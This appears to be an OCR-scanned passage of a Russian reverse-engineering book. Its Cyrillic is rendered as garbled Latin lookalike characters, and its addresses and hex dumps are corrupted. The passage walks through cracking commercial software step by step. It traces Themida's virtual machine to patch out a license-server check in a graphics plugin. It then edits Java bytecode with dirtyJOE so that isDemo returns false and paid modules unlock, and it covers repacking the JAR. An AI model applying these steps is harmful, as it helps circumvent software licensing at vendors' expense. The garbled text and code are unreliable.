BHIBRIBaAEMOM QyHKLVIA

Htak, Ml mpuMepHO pa3o0pany oxHy (M3 HECKOJBKHX THICAY) KOMaHAY LIUTOTO KOAa
Themida — BBI30B HEBHPTYaJIH3UPOBAHHOW (PYHKUMH. BHIMIAONUT OHa MPHUMEPHO Tak
(puc. 7.3).

00007FFDO7 BB4D3A | 00 OOI3A 01
00007 FFDO7 BB4D 4A id IB 01 B TTA D 60 01
00007FFDO?BB4DSA| 1B 01 FD A4 00 01 30
00007FFDO7BB4D6A | 3A 01 ED 47 2A 2E 01
00007FFDO7BB4D7A | 3A 01 27 13 01 B1 GG
00007FFDO7BB4DSA A4 00 13 01
00007FFDO7BB4DSA 4F 00 A4 00
00007FFDO7BB4DAA 4A 01 A4 OO
00007FFDO7BB4DBA A4 OO0 D9 293
00007 FFDO7BB4DCA A4 00 13 01
00007 FFDO?BB40DA E3 00 A4 0O
00007FFDO7BB4DEA F7 4F FF 00
00007 FFDO7BB4DFA 01|BB EO 09 00
00007FFDO7BB4EDA EO|C7 00 A4 00
00007FFDO7BB4E1A 01|/A4 00 4C OE
00007 FFDO7BB4E2A O1|A4 00 13 01
00007FFDO7BB4E3A 3F |4F 00 A4 OO0
00007 FFDO7BB4E4A | 00 9F DF|3A 01 A4 00

Puc. 7.3. Bbi3oB HEBUPTYanuampoBaHHOW YHKLUM

Yro xe genats pansiie? [lo-xopomemy Hamo mpoituch mo Tabauune agpecoB o6pabot-
YHKOB BUPTYaJbHBIX KOMaH[I, 6J1aro oHa y Hac ecTb, pa300paThbCs, YTO JeslaeT Kaxaas U3
HHUX, H «pacmpsMUTh» Hal 0e3yMHbIH koA. OIHAKO 3TO MyTh HE U3 MPUATHBIX: KOMaH
HY O4Y€Hb MHOTO, IPHYEM OHH MYTHPYIOT, TO €CTh OJJHa H Ta )K€ KOMaHJa MOXET IMPHCYT-
CTBOBATh B PA3HbIX BapHallUAX.

Bo03MOHO, mociie Bcero OMHCaHHOro Teds yke He CHIBHO HamyraeT TO, YTO B OJHOM
HCITOJIHAEMOM (aiiie MOXET HCIOJIb30BaThCA JaXke HECKOJIBKO Pa3HbIX MYTHPOBaBIIHX
BHPTY&JIbHBIX MalIMH (pa3Hble CHCTEMbI KOMaHI C MEepecTaBICHHBIMH MapaMeTpaMH,
JUTMHaMH H Tak ganee). [loatoMy s Hayana nonpobyeM HalTH 0ojiee KOPOTKUMN MyTh.

[TockonbKy Tpacca Jaxe Mexay ABYMs COCEIHHMH BbI30BaMHU (QyHKIMIA MOy4yaeTcs dy-
JOBHIITHO IIJIPIHHOﬁ, IMONbITAaEMCs 3aJIOTHPOBATh XOTA Obl CaMH 3TH BBI3OBEI. 06paTn
BHHUMaHHE, YTO PETUCTPHI 11 COBMECTHMOCTH BpOJ€E KaK COXPaHAIOTCS B OJHOM IOpAI-
Ke, I03TOMY MOMIIEM KOJ UX COXpaHeHHus (41 58 41 59 41 S5A...). Hanulocs npuMepHo
JIBE COTHH MYTHPOBaHHBIX 00pabOTUYHKOB BHI30Ba HEBUPTYAIU3UPOBAaHHBIX QyHKUMi. Ho
paccTaBiATh pyKaMH TOUYKH OCTaHOBa Ha HUX OY€Hb MYTOPHO, IIO3TOMY ITHILEM CJEeIyIO-
LIUH CKPHIT:

findallmem 0, "41584159415A415B415C415D415E415F5F5ESDSB5A59589DC20000"

mov i,0
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loop:

cmp i, Sresult

je continue

bp ref.addr (i)+18
bpcnd ref.addr (i) +18, O

bpl ref.addr (i)+18, "called from: "{rip}" called: "{[rsp]}" return to:
"{[rsp+8]}" rsp: "{rspl}"™ PC: "{[mem.base (rip)+128EDDC+EB]}"

inc i

jmp loop

continue:

To ecTs MBI HIIIEM BCe MeCTa B KOZE, TIe €CTh Takas MMoCleI0BaTelbHOCTh BOCCTAHOBIIE-
HHUS PETHCTPOB, H CTaBUM Ha Hee YCIOBHYIO TOYKY OCTaHOBa, JIOTHPYIOIIYIO TeKyllee
COCTOSIHHE BHUPTYaJIbHOH MauuHbl. BonmmeOHOe 4icno 128EDDC MOJYYEHO 3MIHPHYECKH
KaK CMEIIEHHE TeKylero ¢ppeiMa OTHOCHTEIBHO 6a3bl MOAYJIA, @ BOMILIEOHOE YHUCIIO EB —
KaK CMEILEHHE OO0 MPOrpaMMHOI0 CYETYHKA BUPTYaJIbHOH MAalIHHBI U3 MPHUBEIEHHOTO
Bhille ¢parMeHTa koaa. [Tocie oTpabOTKH CKpUNTA MONTYy4aeM JBE COTHH YCIIOBHBIX TO-
YeK OCTaHOBa, KOTOpBIE MULIYT B JIOT TPACCY BHI30BOB IPHMEPHO B TAKOM BHIE:

text

called from: 7FFDO69D8E12 called:

6B694FA710 PC: 7FFDO6AE481F

called from: 7FFDO69D8E12 called:

6B694FA710 PC: 7FFDO6AE4A3C

called from: 7FFDO6ABACBS called:

6B694FA710 PC: 7FFDO6AE4BC3

called from: 7FFDO69D8E1l2 called:

6B694FA710 PC: 7FFDO6AE4DA6

called from: 7FFD0698CFB6 called:

6B694FA710 PC: 7FFDO6AE506B

called from: 7FFDO69E6EQOF called:

6B694FA710 PC: 7FFDO6AE5294

called from: 7FFDO6A146C8 called:

6B694FA710 PC: 7FFDO6AE542D

called from: 7FFDO69D8E12 called:

6B694FA710 PC: 7FFDO6AE5616

called from: 7FFDO698CFB6 called:

6B694FA710 PC: 7FFDO6AESS8EB

called from: 7FFDO698CFB6 called:

6B694FA710 PC: 7FFDO6AESBOB

called from: 7FFDO6AAS4FE called:

6B694FA710 PC: 7FFDO6AESCOA

called from: 7FFDO69E6EOF called:

6B694FA710 PC: 7FFDO6AESES87

called from: 7FFDO698CFB6 called:

6B694FA710 PC: 7FFDO6AE60CE

called from: 7FFDO69E6EOF called:

6B694FA710 PC: 7FFDO6AE62DC

called from: 7FFD06A146C8 called:

6B694FA710 PC: 7TFFDO6AE647E

TFFD158B6D30 return to: 7FFDO6B8067F

7FFD158B6DB0

TFFD0507CB40

TFFD158B6ECO

TFFD158B6D30

7FFD158B6DB0

7FFD0507CB60

TFFD158B6ECO

7FFD158B6D30

TFFD158B6DB0

TFFD0507CC60

TFFD158B6ECO

TFFD158B6D30

7FFD158B6DB0

TFFDO507CE60

return

return

return

return

return

return

return

return

return

return

return

return

return

return

to:

to:

to:

ielo)

to:

to:

tos

to:

to:

to:

to:

to:

toxe

to:

TFFD06BB0O7ES

TFFD06B8094D

TFFD06B80AT70

7FFDO6B80OBCS

7FFD06B80DOC

TFFD06B80EB9

7FFD06B81002

TFFD06B8114F

TFFD06B812C2

TFFD06B8143D

7FFD06B815EB

7FFD06B81741

TFFD06B81875

TFFD06B819C5

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:
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called from: 7FFDO69D8E12 called:
6B694FA710 PC: 7FFDO6AE6679
called from: 7FFDO6AA94FE called:
6B694FA710 PC: 7FFDO6AE6874
called from: 7FFDO69EGEQOF called:
6B694FA710 PC: 7FFDO6AE6A49
called from: 7FFDO69E6EOF called:
6B694FA710 PC: 7FFDOGAEGC6E
called from: 7FFDO69EGEQF called:
6B694FA710 PC: 7FFDO6AEGE97
called from: 7FFDO69E6EOF called:
6B694FA710 PC: 7FFDO6AE7098
called from: 7FFDO69D8E12 called:
6B694FA710 PC: 7FFDO6AE725F
called from: 7FFDO69D8El12 called:
6B694FA710 PC: 7FFDO6AE7446
called from: 7FFDO69EGEOF called:
6B694FA710 PC: 7FFDO6AE7633
called from: 7FFDO698CFB6 called:
6B694FA710 PC: 7FFDO6AE7845

7FFD158B6ECO

7FFD0506B620

7FFD158B6D30

TFFD158B6DB0

7FFD158BEODO

7FFD158DOES0

7FFD158BDDB0

TFFD158B6ECO

7FFD158B6D30

TFFD158B6DB0

return

return

return

return

return

return

return

return

return

return

te”

te:

to:

te

te:

to:

to:

to:

ton

to:

TFFDO6B81B3A

TFFDO06B81CO1

TFFDO6B81DB7

TFFDO6B81F01

7TFFD06B82060

TFFDO6B821AE

TFFD06B822C9

TFFD06B82405

TFFD06B82569

TFFD06B826D3

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

rsp:

Vkasarenb cTeka Mbl MPOBEPSAEM U1 KOHTPOJSA BBI3OBOB BHPTYalIH3HPOBaHHBIX (YHK-
LMH, a B HOCNIeIHEH KOJIOHKE COAEPXKUTCA YKa3aTelb Ha TEKYILYO HCIOIHAEMYIO KOMaH-
Qy WHUTOro kKona. /[Ba Takux jora, 3amylIeHHBIX CO BKJIKUYEHHBIM H OTKJIIOYEHHBIM HH-
TEPHETOM, AT HaM BO3MOXHOCTb HalTH pa3BHIIKYy B LUIMTOM KOJ€ C TOYHOCTBIO O BbI-
30Ba HEBUPTYaIH3UPOBAHHOH GYHKLHH.

s Gosee TOYHOrO HAXOXAEHHUSA PA3BUJIKHM HaM MPHAETCA UCKAaTh KOMaHAY YCJIOBHOTO
oneparopa U ee 06paborunk. C 3TO# LENBI0 CHOBA MMOBTOPSAEM MOCIEI0BATENbHOCTD ACH-
CTBHii, OMHUCaHHYIO B Haudaje 3TOH IJIaBbl, — OCTAHABIHMBAEMCS Ha IOCJEIHEM BHI30BE
HEBHPTYAIH3UPOBAaHHOH (YHKIMH Nepel pa3BUIKOH M 3amyckaeM Ooliee IETaabHYIO
TPacCUpPOBKY MpH BKJIYEHHOM M OTKJIIOYEHHOM HHTepHere. [Ipuaercs MmoBO3UTHCA,
CpaBHHUBAs HyY OY€Hb JJIMHHBIE TPACCHI, HO B UTOre MBI HAXOIUM 0OpabOTYHK yCIOBHOTO
onepatopa. Peanusauus ero upe3BbI4aifHO CI0XHA, HACTOJIBKO, YTO TYT HET MECTa, YTO-
OBl MPHUBECTH €€ MOJHOCTHIO. J[a U CMBIC/Ia HUKAKOTO B 3TOM HET: KO MyTHPYET H MOYTH
HHU OJUH a0JIOH He NeiCTBYET.

Bonee Toro, 3106HbIe Koaepsl U3 Oreans elle CHIbHEE YCI0KHHIN HaM JKU3Hb, 100aBUB
B KOMaHIy IOONOJHUTENbHBIN 8-OUTHBIA mapameTp. OT ero 3HaueHHs 3aBUCHT ¢iar, Ha
KOTOpBIi pearupyer yciaoBHbIH nepexon. U, pasymeercs, npu MyTauuy KOMaHI 3TH Na-
pametpbl MeHsAoTcA. CaMo MECTO pa3BUIIKH BBIMIAIUT MPHMEPHO Tak:

2564 | OOOO7FFD6A21EOCE | 49:89E8 | mov r8,rbp <--- RBP
yKaspBaeT Ha TeKyupos dperm komna

2565 | 00007FFD6A21EOD]1 | 49:81F5 01000000 | xor rl3;1

2566 | O00O07FFD6A21EOD8 | 49:01D5 | add rl3,rdx

2567 | O0O0O07FFD6A21EODB | 4C:31CA | xor rdx,r9

2568 | O00O7FFD6A21EODE | 49:81C0 EB00000O | add r8,EB

2569 | OOOO7FFD6A21EOES | 4C:01EA | add rdx,rl3

256A | O0007FFD6A21EOE8 | 48:09D2 | or rdx,rdx
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256B | 00007FFD6A21EQOER | 4D:8B00 | mov r8,qword ptr ds:[r8]
<--- R8=[RBP+EB] ykaz3aTejlb Ha HOBYK KOMAHIYy UMTOI'O KOIa

256C | O00O7FFD6A21EOEE | 49:81C0 OA000000 | add r8,A

256D | 00OO07FFD6A21EOF5 | 48:81C9 80000000 | or rcx,80

256E | O0O0O7FFD6A21EQOFC | 45:8A08 | mov r9b,byte ptr ds: [r8]
<--- B R9 OuTHeM MmeHTMOMKaATOP Quyiara Mo cMmelleHmo A BanuT

256F | 00OQ7FFD6A21EOFF | 41:80F9 E4 | cmp r9b,E4

<--- B 3TONM peamm3auyiM KOMaHIkl maeHTuduxkarop E4 coorBercTByeT Zero flag

2570 | 00OQ7FFD6A21E103 | 0F84 19000000 | je TFFD6A21E122

2571 | O0OOO7FFD6A21E122 | 48:81E2 90000000 | and rdx, 90

2572 | 00O0O07FFD6A21E129 | 49:81E6 04000000 | and rl4,4

2573 | 00007FFD6A21E130 | 4D:09CD | o ELS, TO

2574 | O00O007FFD6A21E133 | 41:54 | push rl2

2575 | 000O7FFD6A21E135 | 41:81E4 40000000 | and rl2d,40 <--- Peructp

bnaroe yxe 3arpyxeH B rl2d, macka 40h — ycTaHOBNEeH ©uT Zero
2576 | 00007FFD6A21E13C | O0F84 18000000 je TFFD6A21E15A <——————=

———————————— PazBuika

2577 | 00007FFD6A21E15A | 49:C7C5 00000000 | mov rl3,0
2578 | 00007FFD6A21E161 | 48:81C1l 78000000 | add rcx,78
2579 | 00007FFD6A21E168 | 48:81E9 88000000 | sub rcx,88
257A | 00007FFD6A21EL16F | 41:5C | pop rl2
257B | 00007FFD6A21E171 | 49:C7C5 00000000 | mov rl3,0
257C | O0007FFD6A21E178 | 49:C7C5 00040000 | mov rl3,400
257D | OOOQ7FFD6A21E17F | 41:80F9 60 | cmp r9b, 60

Kon nannoro o6pabotyrka Mbl IOMEHATh HE MOXKEM (OH HCIOJIb3YETCs B OECYHCIEHHOM
KOJIMYECTBE APYTHX MECT), OJHAKO Mbl MOXEM MOIH(HUIMPOBATH KOMaHIy IIKUTOrO KOJa,
BeJlb OHA COAEPXKHT B CBOMX MapaMeTpax ajapeca U 0O0enx BETOK BHPTYaJbHOIO KOJa, U
nx obpaboTunkoB. Pasymeercs, npuaeTcs BHOCHTb HCTIPABIIEHHUS B YK€ PaclaKOBaHHbIH
U paciin$poBaHHbIN KOJ, a ele — 03a1a4uThcsi 60pp00 ¢ NpoBEepKOH KOHTPOJS Leo-
CTHOCTH.

Hrak, MBI JOCTHIVIM NOCTaBJIIEHHON LI€JIW: CPABHMIIM BAa JIOTa M HALIUIM Pa3BHIIKY B KOJE
MEX/Jy BETKaMH C MpaBUIbHBIM OTBETOM cepBepa M 0e3 Hero. [IpomaTyuB Ko, MbI MO-
’KEM M3JIEYUThb Hall OJONBITHBIN rpadu4eCKuH IUIarkH OT U3JIMILHEHN aTyHOCTH.

MBI paccMOTpeny UL 00LHe NPUHLMITE peann3alul BUpTyaabHoH MamuHbl Themida.
K cnoBy ckazats, y Oreans ecTe M JApyrue IMOXOXKHe NpoaykThl, Hampumep Code
Virtualizer (https://www.oreans.com/help/cv/hm_codevirtualizer.htm). 3toT MaTepu-
aJi, BO3MOXHO, IOMOXET KOMY-TO B U3yY€HHH MPUHLMIIOB pabOThl NOAOOHBIX BUPTYaib-
HBIX MalIuH U 00()yCKaTOpOB.
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NpAsHbIN [XoO.
B3anambiBaem Java-npunoxeHus
¢ nomouysto dirtyJOE

MBK

CriocoOsl 00Xx0a TpHana B pa3IMYHBIX MPOrpaMMax — OJHA U3 CAMBIX HHTEPECHBIX TEM
MPHUKJIATHOTO peBepc-WHXXUHUpUHTa. HacTano BpeMs BepHYThbCA K 3TOH TeMaTHKe CHOBA.
Ham ceronHAImHUN MallMeHT — MPUJIOKEHHUE, BHINOJHEHHOE B BUAe JAR-Monynd, koTo-
poe MbI UcciienyeM 6e3 MOJIHOTO peBepca U nepecOopkH MpoeKTa.

BHUMAHMUE!

MaTepuan uMmeeT O3HAKOMUTENbHbLIA XapakTep W npedHasHayeH ONs CrneuvanucTos Mo
6e3onacHOCTH, NPOBOAALLMX TECTUPOBAHUE B paMKax KOHTpaKTa. ABTOp M pedakums He He-
CYT OTBETCTBEHHOCTW 3a No6oi Bped, NPUUUHEHHbIA C NPUMEHEHWEM WU3NOXKEHHOW WHAOP-
mauumn. PacnpocTpaHeHWe BPeOdoOHOCHbIX NporpamM, HapylueHue paboTbl cucTem U Hapy-
LeHWe TalHbl Nepenucku NPecneaylTca No 3aKOHy.

B 3ametke «B 06xox ctpaxu. OtnaxuBaeM ko Ha PHP, ynakoBanHsiit SourceGuardian
(https://xakep.ru/2021/09/29/sourceguardian-bypass/)» paccMaTpuBajach MporpaMma,
peanu3oBaHHas B BHIE JIOKAJTBHOro BeO-uHTepdeiica. Pabotaer oHa tak: mog Windows
3amyckaeTcs JIOKanbHBIH cepBep Apache ¢ Habopom PHP-monynei, a mons3oBatens
B3aHMOJEHCTBYeT C MpUIOXKEHHeM depe3 Opaysep, B KOTOpoM HabupaeT anpec
localhost. IIporpamma, B310OMOM KOTOpOil MBI 3aiMeMCs CETOIHS, AEHCTBYET MOXO0XUM
o0pa3oM, TONBKO HamHcaHa OHa Ha Java U noctaensercs B Buae ¢aina .JaR. Hama 3ana-
4a — OTYYHTh IIPUIIOKEHHE OT JEMO-PEXHUMA.

IMo cuacThlo, HaM H3BECTHO, IIE JIEKAT CTAPTYIOLIHE B BUIIE CEPBHCA UCIIOJIHAEMBIE MOAY-
JM nporpamMMsl B popmate .EXE U coorBeTrcTBYIomMi JAR-daitn. Ilo cBoeit cytu JAR —
3TO O0OBIYHEIH ZIP-apXuB, B KOTOPBIH yNaKOBaHbI 4acTH MpoeKTa. II0CKOIBKYy MBI COOH-
paeMcs IpaBUTh KOJ, HAC HHTEPECYIOT MOAYJIH *.CLASS, COAep Kalllie OTKOMITHIHPOBaH-
Helli JVM-6aiiT-koa. J[eKOMIHIATOPOB H CIIOCOOOB HX MPHMEHEHHUs MHOXECTBO, CyIIe-
CTBYIOT Jake HHCTpyMeHTH Bpozae JD-GUI, criocoOHbIe MOJHOCTBI) BOCCTAHOBHTD IPO-
eKT M3 HCroyHsAeMmoro ¢aiina. Yame Bcero B3JOMIMMKH HCHONB3YIOT OOLIEH3BECTHBIH
JAD, xotopblit U3-3a €ro pacIpOCTpPaHEHHOCTH JOBKHE 00 yckaTophl JaBHO HayYHIIUCh
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0oOMaHbIBaTh, YTO, B CBOIO O4YEpelb, CTANO MPUYHHOH MOABIEHHS Goyiee NMPOABHHYTHIX
nJexoMuiaaTopoB Bpoae CFR. Jta BoiiHa LIMTOB M Meuei, MyJas H OpOHEXHIIETOB 0b0e-
maer ObITH JONTOH, HaM OCTaeTCA TOJBKO 3amacTUCh NMomkopHoM. Ho He OymeM Tyt
OCTaHaBJIMBATHCA, @ BMECTO 3TOr0 INPEINOI0XHM, YTO MBI JEKOMITHJIHPOBAIH NPOEKT
OJIHHM M3 ONHCAHHBIX cOCO00B 10 Java-HCXOIHHKOB H JaXke NMPOAHAIH3HPOBAIH IMOY-
YEHHBIHA KOJ.

ITpuMeHHTENBHO K HallleMy MOJOIMBITHOMY NPHIIOKEHUIO 3TO BBIMIAIEIO0 IPUMEPHO TaK.
HexommuiupoBaB Bce-Bce-Bce CLASS-daiinel, Mbl Tak H He 0OHApY>XHJIH HHYEro MoXo-
’Kero Ha obpallleHHe K JIMLEH3HH, ONHAKO B IojKaTajore BOOT-INF/lib Hamero JAR-
apXxHBa HaIIOCh MHOXKECTBO ynakoBaHHBIX JAR-6H6nHOTEK, cpeau KOTOpBIX cpa3y 6po-
cHJIach B I1a3a 6ubIHOTEKA license-1.2.12.jar. PacnakoBaB H JeKOMITHIHPOBAB €€, Mbl
HaTkHynaHch Ha aBa CLASS-Monyns, comepkaimux ase yobonbiTHele GyHKUMH. OnHa
BO3BpalllaeT JEeMOHCTPALIMOHHBIH peXXHM, BTOpas akTHBHPYET OMNLHUIO | 10 yMOT4aHHIO:
public boolean isDemo () {

return this.getPublicDataHash() .isEmpty();
}
public void setDefault() {

if (this.hasModule(1l)) {

Iterator iter = this.modulesItems.entrySet () .iterator();

while (iter.hasNext()) {
Map.Entry item = iter.next();
if ((Integer)item.getKey() == 1) continue;
((BaseModule) item.getValue()) .close();

iter.remove () ;
this.onModuleUpdated ( (Integer)item.getKey());

}

} else {

this.closeModules() ;

if ('this.modulesConfig.containsKey(l)) {
return;

}

BaseModule mod = this.getModule(1l);

if (mod != null) {
mod. setEnabled (true) ;
this.modulesItems.put (1, mod);
log.info ("Default module loaded {}", (Object)mod.getName()):;
this.onModuleUpdated (1) ;

Hama 3agaya — cnoenathb Tak, YTOOBI (l)}'HKI.IHSl isDemo BC€rja Bo3Bpamiajga false, a B
(b}’HKIIHH setDefault HY>XXHO 3aMCHHTH OIILHIO 1 omnuuer 256. BoT 31ech H HauHMHaeTCA
CaMO€ HHTEPECHOE — TO, paJH 4Y€ro H HallMCaHa 3Ta IJjiaBa.
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THI CIPOCHIIB: Pa3 y HAC HMEIOTCA B HATHYHH BCE HCXOTHHKH H KOJI, TO HoYeMy 65l Ipo-
CTO HE MEPEKOMIMIHPOBATh BECh MPOEKT, IOMEHSAB 3TH JBE MpoLeaypbl Ha HY>kHbIe? K
COXKaJIEHHUI0, MPSMON METOJ HE BCeraa caMblil mpocToil. B Haiem cinyyae B HHTEpeCyio-
UX HAC MOAYJISAX MHOrO 3aBUCHUMOCTEH, a MPOEKT OYeHb OONBLIOW, MHOTHE MOIYJIH
cuisHO 00¢ycuupoBanel. KpoMe Toro, kox BOCCTaHOBHIICS YaCTHYHO € Ky4e# OHOOK,
H3-3a YEero MpOEeKT MOJHOCThIO He cobepeTcs. MokKHO, KOHEYHO, MOKONaTh 00¢ycKaluio
U nonpo6oBaTh pykaMH BBITAIIUTH UCXOIHBIH TEKCT MPOrpaMMBbl, HO peuaTs 3Ty (BO3-
MOXHO, JaXe, ropa3fo OoJiee CI0XKHYIO) 3a1a4y paad ABYX MPOCTHIX MaT4yed B KOAE Kak-
TO JIeHb. B1o6aBok nepecOOpke MpOEKTa MOXKET MOMEIIATh OTCYTCTBHE YCTAaHOBIEHHOTO
JDK Ha xoMmbioTepe. YCTaHaBIHBAaTh €ro U pa3dHpaTbcs B 0COOEHHOCTAX KOMITHIIALIUU
Java-nmpoexkToB MHE TOke€ HeoxoTa. [1o3ToMy MBI, kKak OOBIYHO, HIIEM CaMBIH MPOCTOMH
IyTh — MaT4 OTKOMIHIUpoBaHHoro JVM-kona.

B 3TOM HaM MOMOXXET HHTEpECHas, HO Manou3BecTHas yTuwiauta dirtyJOE. OTkpriBaeM B
Her Hamt CLASS-Mmonyinb, Ha Bkinagke Methods BuauM moaHbIH COHCOK METOOB Kilacca.
Haxonum B HEM HCKOMYIO isDemo U THIKA€M B Hee, OTKpBIBas OKHO peIaKTHPOBAHHUA
(puc. 8.1).

#5 dirtySOE - v1.7 (c529) (x86) - =~ < 1 s ' ; Y = &
Eile Jools #7¥ Code editor - isDemo - O X
Overview
sOrdne Max Stadk: e
Ise(()*\e gz Londsrher Table | [Start i End | Handler i Type
|getOnineyy Maxloak: [y [7} |LocalvariableTable

i ode th:
] Coetow
getModules Exmmmsamc[ 0
;w AtrbutesCount: [ 3 |

. I = e L L

tostrng | | I[ |

info 00000000 2R ||aload_0

00000001 B6 00 15 invokevirtual Jjava. lang.String con.wﬂneta.hcensa.urvica.type.LicoJ
00000004 B6 00 16 invokevirtual boolean java.lang.String. isEnpty()

Name: 08000067 AC ireturn

nax_stack
nax_local:
code_lengt |
attribute
axcept ion |

00000000 § —— ’

00000001 =~ MVOREVITTUST JaVE TN STTING Comevws simrwnsnes 8. SOTVICE. TUPE. L ICenselara. et FuD TICOATanasnT T
00000004 : invokevirtual boolean java.lang.String. isEnpty()

00000007 : ireturn

Puc. 8.1. OxHo pegakTuposaHus dirtyJOE

370, KOHEYHO, HE HCXOJHHK Ha Java, HO 3/1eCh XOTsA Obl MOXKHO pelaKTHpPOBaTh OalT-KO,
CBEPSACH C JIOTHKOH HUCXOAHHKAa. BO3MOXXHOCTH NMpOrpaMMbl MHHHMAIHCTHYHBL: peOak-
THPOBAaTh MOXKHO TOJBKO B BHAE hex-3HaueHHH komoB MHCTpyKuMH. Ilo cyacThio, MHe-
MOHHKA U OINMCaHHE TEKYILIEeH HCIPaBICHHOW MHCTPYKIMH OTOOpaXkaeTcs B OKOLIKE Haj
OKHOM KOJa, a CaM CIMCOK MHCTPYKIHH C OHCAaHHEM KaXKIOH UMeeTCs B Xenne (IpHYeM
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TOJIBKO CIMCOK, 0€3 OMKOJOB: SIBHO, 4TOOBI XakepaM XXKH3Hb MEIOM He Ka3anach M NpH-
LIJIOCh MCKATh LIECTHAAUATEPHYHBIE OMKOIbI MHCTPYKUHH caMocTosATensHO). [lo cyTH,
HaM HaJl0 3aKOPOTHTh JaHHYIO (QYHKIIHIO, Ce/IaB BO3BpalllaeMbIM 3HAUEHHEM 0 (false).
Haxonum B Tabnuie HHCTPYKIUMIO MOMEIIEHHS 0 Ha cTeK (iconst 0), ee onkon (3) U cTa-
BHM €€ B CaMO€ Ha4aJio METo/1a, a Mocjie Hee — cpa3y Bo3Bpar (ireturn) (puc. 8.2).

#T dirty)OE - v1.7{c529) (x86) - = i oy i

- J) X
Eile }DQ'S W3 Code editor - isDemo - @ X
- Attrbutes: Excepbions:

woe | Mxse [ 3] i i 0
setOnfine LineNuTberTable |Start | End i Handler | Type
getOnlinelyj  Max Locals: [j [54] |LocalvariableTabie
setOnlinely L
getOniinegy  Code Length: 8
setOnlineEy '
getModules EXC=ptions Cxxm:[ 0 |

Attrdutes Count: [ 2] |
mount
toString | e, SIS ”Pudlnt constant ]
o ﬂiﬁ?’llllll O WD (1775 R NN T S ] K

0000D00: I? ireturn

00000002 00 nop
- Name: | 00000003 15 B6 iload local.B6

— S

16 AC 1load local.AC

Puc. 8.2. Ucnpasnsem nHCTpyKUuio

3akpbIBaéM OKHO pefakTHpoBaHus, coxpaHsieM CLASS-Monynb, 3aTeM MEHSEM HCIIpaB-
JIEHHBI! MOJYJIb B apXUBE license-1.2.12.jar, KOTOPbIH, B CBOIO O4Yepelb, KOMUPYEM Ha
MecTo ctaporo B ocHOBHOM JAR-monyine. C npenBkylueHHEM Iepe3anyckaeM Nporpam-
My U 0OHapy>XHBaeM, 4To OHa He paboTaeT. Mbl UTO-TO ClI€NajIH HE Tak.

lIJISl INIOHUMAHUA CYTH IIpOGJICMbI HaJg0 HUCKaThb JIOTH IMpPOrpaMMBbl. ITo C4YacCThHO, moboe
Java-npnnoxce}me MNPpaKTHY€CKHU BCE€raa MUIICT CBOH CHCTEMHBIH Jior, Npu4€M HE OOHH.
B namem Cj1ydac B JIOr€ NIpUCYTCTBYET BOT TaKas OLIIHOKA:

Caused by: java.lang.IllegalStateException: Unable to open nested entry 'BOOT-

INF/lib/license-1.2.12.jar'. It has been compressed and nested jar files must

be stored without compression. Please check the mechanism used to create your
executable jar file

Teneps Bce ACHO: Ui ycrnewHoro yreHus 6ubnuorexu Java tpebyercs ¢aiin ¢ HyneBo#
komrpeccuerd. OHO U MOHATHO — 3a4eM CKUMATh YK€ KOMIIPECCHPOBaHHbIH ¢aiin? UTo Xk,
COXpaHseM JaHHyI0 OHOIHOTEKY ¢ HyIeBOH KOMIIPECCHEH, epe3anycKkaeM — CHOBa He-
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ynaya. Omundka B )XypHajie Ha 3TOT pa3 BooOlle HeBpa3yMHTENbHAs, HCXOS U3 €€ JIOTH-
KH, caMa OHOIHOTEKa license-1.2.12.jar coOpaHa Kak-TO HempaBWIbHO. be3pesynprart-
HO MMOMAasBUINCh HEKOTOPOE BPEMS C pa3HBIMH apXHBaTOpaMH, [EJIaeM JIOTHYHOE Npe-
MOJIOXKEHHE, YTO NpobieMa KpoeTcs B apXHUBaTope, KOTOPBIM MBI coOupaeM daiin 6ud-
nuotexkd. CkaynBaeM poaHON cOOpLIMK jar.exe H3 makera JDK u mpobGyeM cobpatb
¢aiin ¢ ero moMoulplo. B HTOre NMosyyaeM HOBYIO OIIHOKY:

"C:\Program Files\Java\jdk-17.0.1\bin\jar.exe" -u -f license-1.2.12.jar
com\license\service\LicenseHandler.class

Owwnbka:

java.util.zip.ZipException: duplicate entry: META-INF/maven/org.slf4j/slfdj-
api/pom.properties

at

java.base/java.util.zip.ZipOutputStream.putNextEntry (ZipOutputStream.java:241)
at

java.base/java.util.jar.JarOutputStream.putNextEntry (JarOutputStream.java:115)
at jdk.jartool/sun.tools.jar.Main.update (Main.java:961)

at jdk.jartool/sun.tools.jar.Main.run(Main.Jjava:338)

at jdk.jartool/sun.tools.jar.Main.main (Main.java:1665)

Bue3annas np06neMa BO3HHKJIa HA POBHOM MECTE: Ka3alloCb 61)1, HpOCTeﬁmy}O orepa-
U0 cOopkH (aiioB B OAHH apXHUB HE MOXKET MPOAEIaTh KOPPEKTHO HH OJWH BUHIOBBIH
apxuBaToOp, BKIto4as poaHoit cbopmuk JAR. Pasranka npocTa: apxuBaTophl paboTaroT ¢
MOOYJIIMH KaK C OOBIYHBIMH (baﬁnaMn, Y KOTOPBIX PETHCTPOHE3aBHCUMBIE HMCHA. A uMena
Java-knaccoB BroJIHE ceOe perucTpo3aBHCHMEIE, H XHTpble 00(ycKaTophl JaBHO MPOCEK-
JIK 3Ty naseﬁxy, NEPEUMCHOBBIBAA MOOYJIH. B urore IMPOCKT COACPXKHUT MHOXECTBO KJiacC-
COB, OTIMYAKOLIUXCA TOJBKO PETHCTPOM O}lHOﬁ uin 6osee 6}’KB B Ha3BaHuH. [To cua-
CTBIO, JaHHAs NMpPoOJieMa OTCYTCTBYET Y PApHTETHBIX KOHCOJBHBIX apXHBaTOPOB BpOJIE
ZIP unu PKZIP, xotopsie B pexxuMe update Moryt o6HOBIATH JAR-MOIyH ¢ peructpo-
3aBUCHMbIMH HMCHAMH. I/ITaK, HaxoJuM PKZIP, 3aM€HAEM MOAOYJIb 4Y€pPE€3 HEro, 3aIryCKa-
€M — H CHOBa Hey,ua'{a! Ha sToT pa3 OIIHOKa B JIoTe BBIMVIAAUT IPUMEPHO TaK:
Constructor threw exception; nested exception is java.lang.VerifyError:
Expecting a stack map frame
Exception Details:
Location:
com/license/service/type/LicenseData.isDemo()Z @2: nop
Reason: "’ \
Error exists in the bytecode
Bytecode:
0x0000000: 03ac 0015 b600 1l6ac

B ueM cMbicn ganHo# omnOku? UToOb! NOHATH 3TO, HEMHOTO YriyOuMcs B Teopuio. Kak
H3BECTHO, Java, Tak ke kak U .NET, mis ontuMuzanuu paboThl HE IPOCTO HHTEPIPETH-
